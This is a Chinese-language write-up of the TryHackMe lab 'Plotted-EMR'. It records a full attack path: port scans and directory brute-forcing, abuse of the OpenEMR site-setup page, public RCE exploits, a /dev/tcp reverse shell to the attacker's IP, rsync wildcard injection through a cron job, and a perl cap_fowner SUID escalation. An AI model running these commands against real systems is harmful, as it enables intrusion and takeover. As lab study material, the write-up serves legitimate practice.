打靶记录(六五)之THMPlotted-EMR
端口扫描
nmap --min-rate=10000 -p- 10.10.156.65 |
nmap -sT -sV -sC -O -p21,22,80,5900,8890 10.10.156.65 |
比较奇怪的是将mysql对外开放了,然后有两个http服务
ftp匿名登录里面直接目录套娃,最后找到一个you_are_determined.txt,大致就是告诉我们有个admin用户
mysql登录不需要密码:
mysql -h 10.10.205.208 -uadmin -P5900 |
但是里面没有任何有用的数据库
Web
直接对着两个http端口就是一顿乱扫
gobuster dir -u http://10.10.156.65/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x rar,zip,sql,txt,php,html,bak |
/admin
dGhpcyBtaWdodCBiZSBhIHVzZXJuYW1l
this might be a username
/shadow
aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==
这个也是成功被骗了
/passwd这个也是一样
aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ==
得到的并没有什么用
8890端口开了一个openemr,但是我们不知道版本,暂时找不了exp
于是试着扫一下目录
gobuster dir -u http://10.10.156.65:8890/portal -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x rar,zip,sql,txt,php,html,bak |
直接爆了一堆目录
/admin.php目录可以发现版本是5.0.1.3,searchsploit搜索一下,发现都是要登录之后的RCE,于是我们需要先拿到凭证
发现可以创建一个新的网站,创建一个ID为test的网站,选择第一个我们没有数据库,创建一个新的
然后我们需要更改的是
Server Host:改成靶机IP
Server Port:改成5900
Password:也就是mysql中openemr用户的密码,密码至少要8位,所以设置成admin1234
Name for root:admin 因为上面我们已经拿到admin用户的mysql,下面的密码不填,因为密码是空
User Hostname:也改成靶机IP
最下面openemruser就设置成admin/admin1234
然后点击continue,网站开始加载,估计是在生成数据库了,过一会儿之后就setup完毕了
来到test的登陆界面,用admin/admin1234直接登录
Exploit
尝试使用exp
cp /usr/share/exploitdb/exploits/php/webapps/49998.py . |
将其中的default改成test,然后运行
python 49998.py -T 10.10.233.81 -P 8890 -U ‘/portal’ -u admin -p admin1234
显示是webshell上传成功了,但是访问的时候却显示404
尝试另一个exp
cp /usr/share/exploitdb/exploits/php/webapps/45161.py . |
将其中的?auth=login&site=default改成?auth=login&site=test
sudo tcpdump -i tun0 icmp |
开启捕获ICMP流量,用于验证是否能执行命令
python 45161.py -u admin -p admin1234 -c 'ping -c 1 10.11.38.245' http://10.10.233.81:8890/portal/ |
但是运行的时候成功报错了:TypeError: a bytes-like object is required, not ‘str’
将脚本里的这一行更改(因为socket接收的是字节而非字符串,也许和python的版本有关):
_cmd = "|| echo " + base64.b64encode(args.cmd.encode()).decode() + "|base64 -d|bash" |
再次执行,我们成功收到了ping请求!
开启监听,准备一个反弹shell
python 45161.py -u admin -p admin1234 -c 'bash -c "0<&169-;exec 169<>/dev/tcp/10.11.38.245/1234;sh <&169 >&169 2>&169"' http://10.10.233.81:8890/portal/ |
成功接收!
横向移动
现在我们是www-data,还存在一个plot_admin账户
到家目录,有一个ubuntu目录但是里面没有有用的东西
plot_admin这个用户我们目前没有任何权限
发现有个计划任务,用于备份/var/www/html/portal/config目录下的所有文件,但是似乎利用不了。
有预感在web目录会有什么敏感文件泄露
在/var/www找到第一个flag,但除此之外没有plot_admin的东西了
还是回到之前的计划任务好了。
看了下WP,用的是通配符注入,和之前利用tar创建检查点好像是同一类方式
cd /var/www/html/portal/config |
这个原理就差不多是先写一个shell.sh,来获取有SUID位的bash,这个没什么好说的
其次是从创建了个名字为-e sh shell.sh的文件,然后crontab应该就会将这个拼接至命令后面:
cd /var/www/html/portal/config && rsync -t * plot_admin@127.0.0.1:~/backup -e sh shell.sh |
执行shell.sh
./pa_shell.sh -p |
将我们的公钥写进authorized_keys来ssh
提权
看了下没有能用的SUID和SGID
getcap -r / 2>/dev/null |
发现有个perl的cap
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' |
但是发现提权失败了
/usr/bin/perl -e 'exec "cp /bin/bash /tmp/root_bash;chmod +xs /tmp/root_bash"' |
也还是不行(悲),仔细看一下这个cap:
/usr/bin/perl = cap_fowner+ep
他只给了改变所有权的权限,也就是说只能做到chmod,chown之类的而并非所有权限
那么
/usr/bin/perl -e 'chmod 04777, "/bin/bash";' |
给文件设置一个SUID
然后/bin/bash -p
碎碎念
近期打的认为质量还不错的靶机,从一开始的openemr,并不是直接抄exp就能成功。到后面的通配符注入以及cap的变形。都不是那种能一步秒的点,比较考验应变能力。
贴一篇通配符注入的文章